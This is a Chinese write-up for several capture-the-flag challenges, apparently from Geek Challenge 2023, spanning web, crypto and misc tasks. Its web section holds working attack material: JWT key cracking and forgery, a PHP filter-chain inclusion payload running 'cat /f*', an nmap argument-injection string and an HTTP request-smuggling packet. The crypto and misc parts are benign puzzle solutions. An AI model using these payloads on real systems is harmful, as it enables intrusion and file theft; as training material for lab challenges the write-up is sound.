爆破得出key是yibao,直接在jwt.io这个网站里去修改即可,如图修改后即可

看到此时的状态已经是allow,第一层绕过

源码中有提示

<!-- 一直连不上?连不上就对啦! -->
  <!-- 
    php版本为8.0
  function php_mt_seed($seed)
        {
            mt_srand($seed);
        }
        $seed = time();
        php_mt_seed($seed);
        $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

        $newFileName = '';
        for ($i = 0; $i < 10; $i++) {
            $newFileName .= $characters[mt_rand(0, strlen($characters) - 1)];
        }
  
  -->

可以看到文件名称是随机的,但是这种播种子的方式是伪随机的,种子一样,那么出来的随机数序列也是一样,可以在本地测试一下时间,大概推算一下上传时间,然后生成随机名称在连接木马

然后像这样估摸着大概时间,一个一个的尝试

然后拿到flag

ezrfi

传参如图,拿到hint源码

解码得到尊嘟假嘟密码(这个在MoeCTF的crypto部分看到过,拿去解密

尊嘟假嘟O.o (zdjd.asia)

题目给的提示是:RC4解密,猜测密码为Syclover,拿到hex源码

文件包含逻辑是include($file.".py"),你能找到flag文件位置吗??

如下传参

?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-
1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|conver
t.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR
|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-
156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|conver
t.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|co
nvert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp&0=cat%20/f*
#此步来源于https://www.cnblogs.com/mumuhhh/articles/17860683.html

scan_tool

nmap这个工具在网鼎杯里出现过

BUUCTF [网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客

不过这里过滤的更严格,无法直接写入php一句话木马

传入参数:' --excludefile /flag -oA aaa '

然后访问aaa.nmap,即可得到flag

EZ_Smuggling

题目是与http走私有关的,不会写,参考极客大挑战2023 Web方向题解wp 全-CSDN博客Jay17大佬的wp复现

只有admin有权限访问

burp的repeater设置如下

然后构造如下包

POST / HTTP/2
Host: 47.108.56.168:20231
Cookie: session=MTcwMTE3OTIzMHxuU2xmbXJZUzlIZHJwalliY3NOX0RnZGdhZE9HeUY4LUN2R2dJbXFXZUJkVnR6MmM5WmE2NGtPMDBIZERFVGYySFBfaFZQZ1dUTmxsa2dwZzVSOGFPVFJyZENaZ1NfV3p8h5Vp25VTWKcqT3tjYkXwER7Dm1NS_lpbiohR-WJ5_xo=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: https://47.108.56.168:20231
Referer: https://47.108.56.168:20231/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers

GET /admin HTTP/1.1
Host: 47.108.56.168:20231
Cookie: session=MTcwMTE3OTIzMHxuU2xmbXJZUzlIZHJwalliY3NOX0RnZGdhZE9HeUY4LUN2R2dJbXFXZUJkVnR6MmM5WmE2NGtPMDBIZERFVGYySFBfaFZQZ1dUTmxsa2dwZzVSOGFPVFJyZENaZ1NfV3p8h5Vp25VTWKcqT3tjYkXwER7Dm1NS_lpbiohR-WJ5_xo=
Content-Length: 1

x=1

Crypto

SignIn

信息如下

Bibo...Hello! 你好! こんにちは! Привет! 5359437b48656c6c6f5f576f726c645f43727970746f5f6269626f6269626f7d…  Hmm... Something goes wrong with my grettings bot.

十六进制转换字符串得到flag

proof_of_work

题目要求nc

这就要写脚本来爆破了,题目是动态的

import hashlib
import itertools
from string import digits, ascii_letters, punctuation

alpha_bet = digits + ascii_letters + punctuation
strlist = itertools.product(alpha_bet, repeat=4)

sha256 = "c400239e68f0b952313b370b4f6430fa80d006f4b8bf9949e9e3e211b1f3df88"
tail = "wFk2UJk5eKncaTiz"

xxxx = ''

for i in strlist:
    data = i[0] + i[1] + i[2] + i[3]
    data_sha = hashlib.sha256((data + tail).encode('utf-8')).hexdigest()
    if data_sha == sha256:
        xxxx = data
        break

print(xxxx)

OldAlgorithm

An old algorithm but widely used nowadays.

from Crypto.Util.number import * 
import os 
flag = b"SYC{Al3XEI_FAKE_FLAG}"

pad = lambda msg,padlen: msg+os.urandom(padlen-len(msg))


flag = pad(flag,32)
print(len(flag))
p = [getPrime(16) for _ in range(32)] 
c = [bytes_to_long(flag)%i for i in p] 


print('p=',p)
print('c=',c)

'''
p= [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c= [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
'''

脚本如下👇

from Crypto.Util.number import *
import os
from sympy.ntheory.modular import crt

flag = b"SYC{Al3XEI_FAKE_FLAG}"
pad = lambda msg, padlen: msg+os.urandom(padlen-len(msg))
flag = pad(flag, 32)

# 根据原始代码生成的质数列表和余数列表
p = [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c = [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]

# 使用 crt 函数解密得到原始消息
x = crt(p, c, check=False)
msg = long_to_bytes(x[0] % x[1])

print(msg)

MISC

cheekin

请前往"三叶草小组Syclover"微信公众号输入flag获得flag

RGB图片隐写

ez_smilemo

游戏通关即可得到flag内容,需要自行添加`SYC{}`包含。例: flag内容为 haha_haha 则最终flag为 SYC{haha_haha} 题目链接:https://pan.baidu.com/s/1Vfklz0_isBoHNylRv8um8w?pwd=geek hint: data.win

游戏这里就不玩了,直接去分析data.win吧,进去下面的连接,分析win

如何在没有 Visual FoxPro 的情况下打开 WIN 文件 (filext.com)

base64解码即可

DEATH_N0TE

"o2takuXX突然失踪了,你作为他的好朋友,决定去他的房间看看是否留下了什么线索..."。前置剧情题,flag有两段,隐写的信息有点多记得给信息拿全。 hint1: Stegsolve lsb hint2: 图片大小和像素点

找到一半flag,将图片放大看,能看到一些像素点,但是不清晰

利用python脚本缩小一下

from PIL import Image

img = Image.open('kamisama.png')
w = img.width
h = img.height
img_obj = Image.new("RGB",(w//5,h//5))

for x in range(w//5):
    for y in range(h//5):
        pixel = img.getpixel((x*5,y*5))
        if len(pixel) == 3:
            (r, g, b) = pixel
            img_obj.putpixel((x, y), (r, g, b))
        elif len(pixel) == 4:
            (r, g, b, _) = pixel
            img_obj.putpixel((x, y), (r, g, b))

img_obj.save('123.png')

得到一些奇怪的文字,搜索一下死亡笔记字体

下一站是哪儿呢

我和yxx去旅游,前一天还好好的,玩完《指挥官基恩》这个游戏就睡觉了,第二天晚上吃完饭她人就不见了,走之前留下了两张图片就消失了。你能帮我找找她坐哪个航班去哪个地方了嘛?   flag格式:SYC{航班号_城市拼音},城市拼音首字母大写噢

百度识图一下

得知出发地是深圳宝安,用010editor看看猪猪侠的图片

在中部发现有东西

放进kali虚拟机里binwalk分离一下

有一个secret.png和一个txt

一段看不懂的文字,但是根据提示,应该是指挥官基恩中的文字,搜索一下

翻译过来是 I WANT TO GO TO LIQUOR CITY(我想去酒城)

酒城是泸州的别称,根据聊天图,只需要查找8月25日从深圳宝安到泸州的航班就行了

用这个网站:航线图-Variflight航线图注册一下就行了

根据时间可知,航班号为CZ8579

Qingwan心都要碎了

Qingwan和Yxx一起去旅游,但是Qingwan睡的太死啦,Yxx丢下她一个人去玩了,她一觉起来只看见Yxx发的朋友圈,能帮Qingwan找到她吗?  flag格式:SYC{地点名字}

磁器口是在重庆,先缩小范围

发现三峡两个字,那就用重庆+三峡+博物馆作为关键字搜索一下

得出重庆中国三峡博物馆

xqr

Qrcode can deliver binary msg

题目给了一个二维码,扫了是fakeflag

拿进010editor看看

发现还隐藏了另外一张图片

直接复制89 50 4E 47后面的全部内容,在010上面新建另一个png,用ctrl+shift+v粘贴,然后得到图片

但是其他大小只有25*25,而附件图片有75*75,打开画图

修改后保存,打开stegsolve,选image combiner

XOR后得到一张图,定位点都是有的,不过还是扫不出来的,将其保存下来

选择反色

得到的这个二维码就能扫了

千里之行,始于足下
最后更新于 2024-01-11